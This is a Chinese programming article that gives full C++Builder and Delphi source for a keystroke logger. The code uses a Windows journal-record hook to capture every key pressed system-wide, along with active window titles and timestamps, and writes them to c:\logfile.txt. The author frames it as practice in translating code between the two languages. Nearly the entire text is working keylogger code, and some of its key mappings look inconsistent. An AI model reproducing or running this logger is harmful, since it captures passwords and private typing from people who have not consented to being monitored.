王朝网络
分享
 
 
 

用日志钩子来实现键盘钩子功能之delphi/bcb版本

王朝delphi·作者佚名  2006-01-10
宽屏版  字体: |||超大  

在论坛上发的请求终于有人帮忙解决了,最近总尝试着把delphi代码和bcb代码互转,希望通过这样,能够对delphi

比较熟些些.

/bcb版本/

/---------------------------------------------------------------------------

#include <vcl.h>

#pragma hdrstop

#include <stdio.h>

#include "Unit1.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TForm1 *Form1;

HHOOK g_hLogHook=NULL;

HWND g_hLastFocus=NULL;

const int KeyPressMask=0x80000000; //键盘掩码常量

char g_PrvChar; //保存上一次按键值

LRESULT CALLBACK JournalLogProc(int iCode,

WPARAM wParam, LPARAM lParam);

//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)

{

if (g_hLogHook==NULL)

g_hLogHook = SetWindowsHookEx

(WH_JOURNALRECORD,

(HOOKPROC)JournalLogProc,

HInstance,0); //安装日志钩子

}

//---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)

{

if (g_hLogHook!=NULL)

{UnhookWindowsHookEx(g_hLogHook);

g_hLogHook=NULL;

} //卸载日志钩子

}

//---------------------------------------------------------------------------

LRESULT CALLBACK JournalLogProc(int iCode,

WPARAM wParam, LPARAM lParam)

{

if (iCode<0)

return CallNextHookEx (g_hLogHook,iCode,wParam,lParam);

if (iCode==HC_ACTION)

{EVENTMSG *pEvt=(EVENTMSG *)lParam;

int i; HWND hFocus; //保存当前活动窗口句柄

char szTitle[256]; //当前窗口名称

char szTime[128]; //保存当前的日期和时间

FILE *stream=fopen("c:\\logfile.txt","a+t");

if (pEvt->message==WM_KEYDOWN)

{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值

char ch;

char str[10];

hFocus=GetActiveWindow();

//取得当前活动窗口句柄

if(g_hLastFocus!=hFocus)

//当前活动窗口是否改变

{GetWindowText(hFocus,szTitle,256);

g_hLastFocus=hFocus;

strcpy(szTime,DateTimeToStr(Now())

.c_str()); //得到当前的日期时间

fprintf(stream,"%c%s%c%c%s",

10,szTime,32,32,szTitle); //写入文件

fprintf(stream,"%c%c",32,32);

}

int iShift=GetKeyState(0x10);

//测试SHIFT,CAPTION,NUMLOCK等键是否按下

int iCapital=GetKeyState(0x14);

int iNumLock=GetKeyState(0x90);

bool bShift=(iShift & KeyPressMask)==KeyPressMask;

bool bCapital=(iCapital & 1)==1;

bool bNumLock=(iNumLock & 1)==1;

if (vKey >=48 && vKey<=57) // 数字0-9

if (!bShift) fprintf(stream,"%c",vKey);

if (vKey>=65 && vKey<=90) // A-Z a-z

{if (!bCapital)

if (bShift) ch=vKey ;

else ch=vKey+32 ;

else if (bShift) ch=vKey+32;

else ch=vKey;

fprintf(stream,"%c",ch);

}

if (vKey>=96 && vKey<=105) // 小键盘0-9

if (bNumLock)

fprintf(stream,"%c",vKey-96+48);

if (vKey>=186 && vKey<=222) // 其他键

{switch (vKey) {

case 186:

if (!bShift) ch=';' ;

else ch=':';

break;

case 187:

if (!bShift) ch='=' ;

else ch='+' ;

break;

case 188:

if (!bShift) ch=',';

else ch='<' ;

break;

case 189:

if (!bShift) ch='-' ;

else ch='_' ;

break;

case 190:

if (!bShift) ch='.' ;

else ch='>' ;

break;

case 191:

if (!bShift) ch='/' ;

else ch='?' ;

break;

case 192:if (!bShift) ch='`'; else ch='~' ;break;

case 219:if (!bShift) ch='[' ; else ch='{' ;break;

case 220:if (!bShift) ch='\\' ; else ch='|' ;break;

case 221:if (!bShift) ch=']' ; else ch='}' ;break;

case 222:if (!bShift) ch='/'; else ch='\''; break;

default:ch='n' ;break;

}

if (ch!='n') fprintf(stream,"%c",ch); } //

if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]

if (vKey>=8 && vKey<=46) //方向键

{switch (vKey) {

case 8:strcpy(str,"[BK]");break;

case 9:strcpy(str,"[TAB]");break;

case 13:strcpy(str,"[EN]");break;

case 32:strcpy(str,"[SP]");break;

case 33:strcpy(str,"[PU]");break;

case 34:strcpy(str,"[PD]");break;

case 35:strcpy(str,"[END]");break;

case 36:strcpy(str,"[HOME]");break;

case 37:strcpy(str,"[LF]");break;

case 38:strcpy(str,"[UF]");break;

case 39:strcpy(str,"[RF]");break;

case 40:strcpy(str,"[DF]");break;

case 45:strcpy(str,"[INS]");break;

case 46:strcpy(str,"[DEL]");break;

default:ch='n' ;break;

}

if (ch!='n' )

{if (g_PrvChar!=vKey)

{fprintf(stream,"%s",str); g_PrvChar=vKey;

}

}

}

}

if (pEvt->message==WM_LBUTTONDOWN ||pEvt->message==WM_RBUTTONDOWN)

{hFocus=GetActiveWindow();

if (g_hLastFocus!=hFocus)

{g_hLastFocus=hFocus;

GetWindowText(hFocus,szTitle,256);

strcpy(szTime,DateTimeToStr(Now()).c_str());

//得到当前的日期时间

fprintf(stream,"%c%s%c%c%s",

10,szTime,32,32,szTitle); //写入文件

fprintf(stream,"%c%c",32,32);

}

}

fclose(stream);

return CallNextHookEx

(g_hLogHook,iCode,wParam,lParam);

}

}

//-----------------------------------------------delphi版本--------------------------------------------------------------

//-----------------------------------------------------

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Memo1: TMemo;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

g_hLogHook : HHook;

g_hLastFocus : HWND;

g_PrvChar: char;

implementation

{$R *.dfm}

const

KeyPressMask=$80000000;

function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall;

var

evt: PEVENTMSG;

i : Integer;

hFocus : HWND;

szTitle : array[0..255] of char;

szTime : array[0..127] of char;

vKey : Integer;

ch : char;

str: array[0..9] of char;

txt: TextFile;

iShift,iCapital,iNumLock : Integer;

bShift,bCapital,bNumLock : Boolean;

begin

if iCode<0 then begin

Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

Exit;

end;

if iCode=HC_ACTION then begin

evt:=PEVENTMSG(lParam);

AssignFile(txt,'c:\logfile.txt');

if not fileexists('c:\logfile.txt') then

ReWrite(txt)

else

Append(txt);

if evt^.message=WM_KEYDOWN then begin

vKey:=LoByte(evt^.paramL);

hFocus := GetActiveWindow();

if g_hLastFocus<> hFocus then begin

GetWindowText(hFocus,szTitle,256);

g_hLastFocus:= hFocus;

strcopy(szTime,Pchar(DateTimeToStr(now)));

write(txt,#10,szTime,#32,#32,szTitle);

write(txt,#32,#32);

end;

iShift := GetKeyState($10);

iCapital := GetKeyState($14);

iNumLock := GetKeyState($90);

bShift := (iShift and KeyPressMask)=KeyPressMask;

bCapital := (iCapital and 1)=1;

bNumLock := (iNumLock and 1)=1;

if (vKey >=48) and (vkey<=57) then begin

if not bShift then

write(txt,chr(vKey));

end;

if (vKey>=65) and (vKey<=90) then begin

if not bCapital then begin

if bShift then

ch:=chr(vKey)

else

ch:=chr(vKey+32);

end

else begin

if bShift then

ch:=chr(vKey+32)

else

ch:= chr(vKey);

end;

write(txt,ch);

end;

if (vKey>=96) and (vKey<=105) then begin

if bNumLock then

write(txt,chr(vkey-96+48));

end;

if (vKey>=186) and (vKey<=222) then begin

case vKey of

186:

begin

if not bShift then

ch:=';'

else

ch:=':';

end;

187:

begin

if not bShift then

ch:='='

else

ch:='+';

end;

188:

begin

if not bShift then

ch:=','

else

ch:='<';

end;

189:

begin

if not bShift then

ch:='-'

else

ch:='_';

end;

190:

begin

if not bShift then

ch:='.'

else

ch:='>';

end;

191:

begin

if not bShift then

ch:='/'

else

ch:='?';

end;

192:

begin

if not bShift then

ch:='`'

else

ch:='~';

end;

219:

begin

if not bShift then

ch:='['

else

ch:='{';

end;

220:

begin

if not bShift then

ch:='\'

else

ch:='|';

end;

221:

begin

if not bShift then

ch:=']'

else

ch:='}';

end;

222:

begin

if not bShift then

ch:='\'

else

ch:='/';

end;

else

ch:='n';

end;

if ch<>'n' then

write(txt,ch);

end;

if (wParam>=112) and (wParam<=123) then begin

//功能键F1-F12

end;

if(vKey>=8) and (vKey<=46) then begin

case vKey of

8:

begin

strcopy(str,'[BK]');

end;

9:

begin

strcopy(str,'[TAB]');

end;

13:

begin

strcopy(str,'[EN]');

end;

32:

begin

strcopy(str,'[SP]');

end;

33:

begin

strcopy(str,'[PU]');

end;

34:

begin

strcopy(str,'[PD]');

end;

35:

begin

strcopy(str,'[END]');

end;

36:

begin

strcopy(str,'[HOME]');

end;

37:

begin

strcopy(str,'[LF]');

end;

38:

begin

strcopy(str,'[UF]');

end;

39:

begin

strcopy(str,'[RF]');

end;

40:

begin

strcopy(str,'[DF]');

end;

45:

begin

strcopy(str,'[INS]');

end;

46:

begin

strcopy(str,'[DEL]');

end

else

ch:='n' ;

end;

if (ch<>'n') then begin

if (g_PrvChar <> chr(vKey)) then begin

write(txt,str);

g_PrvChar:= chr(vKey);

end;

end;

end;

end;

if (evt^.message=WM_LBUTTONDOWN) or (evt^.message=WM_RBUTTONDOWN) then begin

hFocus := GetActiveWindow();

if (g_hLastFocus<>hFocus) then begin

g_hLastFocus := hFocus;

GetWindowText(hFocus,szTitle,256);

strcopy(szTime,Pchar(DateTimeToStr(now)));

write(txt,#10,szTime,#32,#32,szTitle);

write(txt,#32,#32);

end;

end;

CloseFile(txt);

result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if g_hLogHook=0 then begin

g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if g_hLogHook<>0 then begin

UnhookWindowsHookEx(g_hLogHook);

g_hLogHook:= 0;

end;

end;

end.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
>>返回首页<<
推荐阅读
 
 
频道精选
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
© 2005- 王朝网络 版权所有